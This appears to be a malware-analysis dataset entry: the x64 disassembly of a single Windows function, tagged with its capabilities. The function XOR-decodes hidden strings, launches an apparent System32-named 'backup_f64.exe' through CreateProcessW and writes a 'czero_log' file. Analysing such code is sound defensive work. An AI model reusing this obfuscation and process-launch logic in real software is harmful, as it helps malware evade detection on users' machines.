Function at 0x140009980
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x260]
sub rsp, 0x360
mov rax, qword [0x1400710c0]
xor rax, rsp
mov qword [rbp + 0x250], rax
xor ebx, ebx
movdqa xmm0, xmmword [0x1400688f0]
movdqa xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [0x1400688c0]
movdqa xmmword [rbp + 0x210], xmm1
movdqa xmm0, xmmword [str._8_tCV_a]
movdqa xmmword [rbp + 0x220], xmm0
movdqa xmm1, xmmword [0x1400688d0]
movdqa xmmword [rbp + 0x230], xmm1
mov word [rbp + 0x240], 0x511d
movdqa xmm0, xmmword [0x140068910]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x140068900]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x1400688e0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x1400688a0]
movdqa xmmword [rbp + 0x10], xmm1
mov dword [rbp + 0x20], 0x5d4b654e
mov word [rbp + 0x24], 0xd51
mov byte [rbp + 0x26], 0x75
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov r14d, 9
mov r8d, r14d
lea rdx, str.xQe90yubv
lea rcx, [rbp - 0x40]
call fcn.140001e90
nop
mov edi, 7
mov r8d, edi
lea rdx, str.fg543Zu
lea rcx, [rbp - 0x40]
call fcn.1400036d0
mov edx, ebx
mov qword [rsp + 0x60], rbx
lea rax, [rbp + 0x200]
mov r15d, 1
sub r15, rax
lea rax, [rbp + 0x200]
mov r12d, 2
sub r12, rax
lea rax, [rbp + 0x200]
mov r13d, 3
sub r13, rax
lea rcx, [rbp + 0x200]
mov eax, 4
sub rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rbp + 0x200]
mov r8d, 5
sub r8, rax
mov qword [rbp - 0x60], r8
lea rcx, [rbp + 0x200]
mov esi, 6
sub rsi, rcx
mov qword [rsp + 0x70], rsi
lea rax, [rbp + 0x200]
sub rdi, rax
lea rcx, [rbp + 0x200]
mov eax, 8
sub rax, rcx
mov qword [rsp + 0x78], rax
lea rax, [rbp + 0x200]
sub r14, rax
lea rcx, [rbp + 0x200]
mov eax, 0xa
sub rax, rcx
mov qword [rsp + 0x50], rax
mov r10, qword [rbp - 0x28]
mov r11, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x40]
mov rsi, qword [rsp + 0x68]
nop dword [rax]
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea r9, [rbp + 0x200]
add r9, rdx
xor edx, edx
mov rax, qword [rsp + 0x60]
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r15 + r9]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 1], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + r12]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 2], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + r13]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 3], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + rsi]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 4], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + r8]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 5], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
mov rax, qword [rsp + 0x70]
add rax, r9
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 6], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + rdi]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 7], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
mov rax, qword [rsp + 0x78]
add rax, r9
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 8], al
lea rcx, [rbp - 0x40]
cmp r10, 0xf
cmova rcx, rbx
lea rax, [r9 + r14]
xor edx, edx
div r11
movzx eax, byte [rdx + rcx]
xor byte [r9 + 9], al
lea r8, [rbp - 0x40]
cmp r10, 0xf
cmova r8, rbx
movzx ecx, byte [r9 + 0xa]
mov rax, qword [rsp + 0x50]
add rax, r9
xor edx, edx
div r11
xor cl, byte [rdx + r8]
mov byte [r9 + 0xa], cl
mov rdx, qword [rsp + 0x60]
add rdx, 0xb
mov qword [rsp + 0x60], rdx
cmp rdx, 0x42
mov r8, qword [rbp - 0x60]
jb 0x140009b50
xor r13d, r13d
mov ecx, r13d
mov esi, 6
lea r9, [rbp - 0x40]
cmp r10, 0xf
cmova r9, rbx
movzx r8d, byte [rbp + rcx - 0x20]
xor edx, edx
mov rax, rcx
div r11
xor r8b, byte [rdx + r9]
mov byte [rbp + rcx - 0x20], r8b
inc rcx
cmp rcx, 0x47
jb 0x140009cd1
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r13
mov qword [rbp + 0x88], r13
lea rax, [rbp + 0x200]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140009d23
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x70]
call fcn.140001e90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], r13
lea rax, [rbp - 0x20]
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140009d60
mov r8, rbx
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x90]
call fcn.140001e90
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1d0], xmm1
lea r12, [rbp + 0x70]
mov r15, qword [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova r12, r15
movabs rbx, 0x7fffffffffffffff
mov r14, qword [rbp + 0x80]
cmp r14, rbx
ja 0x14000a4e6
movabs rcx, 0x8000000000000000
mov edx, 0x16
cmp r14, 0xf
ja 0x140009df8
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], 0xf
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x1c0], xmm0
jmp 0x140009e92
mov rdi, r14
or rdi, 0xf
cmp rdi, rbx
jbe 0x140009e2d
mov rdi, rbx
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400213d8
mov rcx, rax
test rax, rax
je 0x14000a4ec
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140009e5f
cmp rdi, rdx
cmovb rdi, rdx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140009e42
mov rax, r13
jmp 0x140009e5f
cmp rcx, 0x1000
jb 0x140009e5a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a4da
jmp 0x140009e0b
call fcn.1400213d8
mov qword [rbp + 0x1c0], rax
mov qword [rbp + 0x1d0], r14
mov qword [rbp + 0x1d8], rdi
lea r8, [r14 + 1]
mov rdx, r12
mov rcx, rax
call fcn.14003a0a0
movabs rcx, 0x8000000000000000
mov edx, 0x16
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1f0], xmm1
lea r12, [rbp + 0x90]
mov r14, qword [rbp + 0x90]
mov r13, qword [rbp + 0xa8]
cmp r13, 0xf
cmova r12, r14
mov rdi, qword [rbp + 0xa0]
cmp rdi, rbx
ja 0x14000a4f2
cmp rdi, 0xf
ja 0x140009efd
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], 0xf
movups xmm0, xmmword [r12]
movaps xmmword [rbp + 0x1e0], xmm0
jmp 0x140009f89
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x140009f2f
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.1400213d8
mov rcx, rax
test rax, rax
je 0x14000a4f8
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140009f64
mov rbx, rax
cmp rax, 0x16
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140009f47
xor eax, eax
jmp 0x140009f64
cmp rcx, 0x1000
jb 0x140009f5f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000a4e0
jmp 0x140009f0d
call fcn.1400213d8
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x1f8], rbx
lea r8, [rdi + 1]
mov rdx, r12
mov rcx, rax
call fcn.14003a0a0
nop
lea rax, str.WindowsSystem32_backup_f64.exe
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x21
lea rdi, [0x140074090]
mov rax, rdi
cmp qword [0x1400740a8], 7
cmova rax, qword [0x140074090]
mov qword [rbp - 0x60], rax
mov rax, qword [0x1400740a0]
mov qword [rbp - 0x58], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rbp - 0x18], xmm0
movabs r12, 0xc000000000000000
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x60], 1
lea rax, [rbp - 0x20]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x50]
call fcn.14000ee30
nop
lea rbx, [rbp + 0x1c0]
nop dword [rax + rax]
lea r8, [rbp + 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.140001f90
nop
cmp byte [rbp + 0x220], 0
jne 0x14000a1e9
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14000a082
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a07d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a504
call fcn.1400213d0
add rbx, 0x20
lea rax, [rbp + 0x200]
cmp rbx, rax
jne 0x14000a020
xor ebx, ebx
mov r12d, 2
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000a0da
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a0d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a4fe
call fcn.1400213d0
movdqa xmm0, xmmword [0x140068880]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], bx
lea r9, [fcn.140002510]
mov r8, r12
mov edx, 0x20
lea rcx, [rbp + 0x1c0]
call fcn.140021688
nop
cmp r13, 0xf
jbe 0x14000a13f
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000a136
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a559
mov rcx, r14
call fcn.1400213d0
nop
mov rax, qword [rbp + 0x88]
cmp rax, 0xf
jbe 0x14000a17e
lea rdx, [rax + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x14000a175
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a55f
mov rcx, r15
call fcn.1400213d0
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000a1b9
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a4d4
call fcn.1400213d0
mov rcx, qword [rbp + 0x250]
xor rcx, rsp
call fcn.1400213b0
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
mov dword [rbp + 0x44], eax
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x20], 0x68
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], 7
cmova rcx, qword [rbp + 0x50]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000a272
mov rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xb0]
call fcn.14003a820
lea rax, str.WindowsSystem32czero_log
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x1c
cmp qword [0x1400740a8], 7
cmova rdi, qword [0x140074090]
mov qword [rbp - 0x60], rdi
mov rax, qword [0x1400740a0]
mov qword [rbp - 0x58], rax
movups xmm0, xmmword [rbp - 0x60]
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x60], 1
lea rax, [rbp - 0x20]
mov qword [rbp - 0x58], rax
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rbp - 0x60]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.14000ee30
nop
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0xb0]
call fcn.140003ec0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rdi
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000a389
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a384
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a50a
call fcn.1400213d0
movdqa xmm0, xmmword [0x140068880]
movdqu xmmword [rbp - 0x70], xmm0
mov word [rbp - 0x80], bx
cmp qword [rbp + 0x138], 0
je 0x14000a403
lea rcx, [rbp + 0xb8]
call fcn.140003dc0
mov r12d, 2
test rax, rax
jne 0x14000a409
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 0xf8], 0
cmovne esi, r12d
or esi, dword [rbp + rcx + 0xc0]
and esi, 0x17
mov dword [rbp + rcx + 0xc0], esi
mov eax, dword [rbp + rcx + 0xc4]
and eax, esi
je 0x14000a409
test al, 4
je 0x14000a510
lea rbx, str.ios_base::badbit_set
jmp 0x14000a525
mov r12d, 2
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xb0], rdi
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xac], edx
lea rcx, [rbp + 0xb8]
call fcn.1400031e0
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xb0], rax
mov rax, qword [rbp + 0xb0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0xac], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x158], rax
lea rcx, [rbp + 0x158]
call fcn.14001fa5c
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x14000a09a
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a4ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a553
call fcn.1400213d0
jmp 0x14000a09a
call fcn.140028fa8
nop
call fcn.140001280
nop
call fcn.140001280
nop
call fcn.140001320
int3
call fcn.140028fa8
nop
call fcn.140001320
int3
call fcn.140028fa8
nop
call fcn.140028fa8
nop
call fcn.140028fa8
nop
call fcn.140028fa8
int3
test r12b, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x60]
call fcn.140001460
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.140001c80
lea rdx, [0x14006f948]
lea rcx, [rbp - 0x20]
call fcn.1400235d4
nop
call fcn.140028fa8
nop
call fcn.140028fa8
nop
call fcn.140028fa8
int3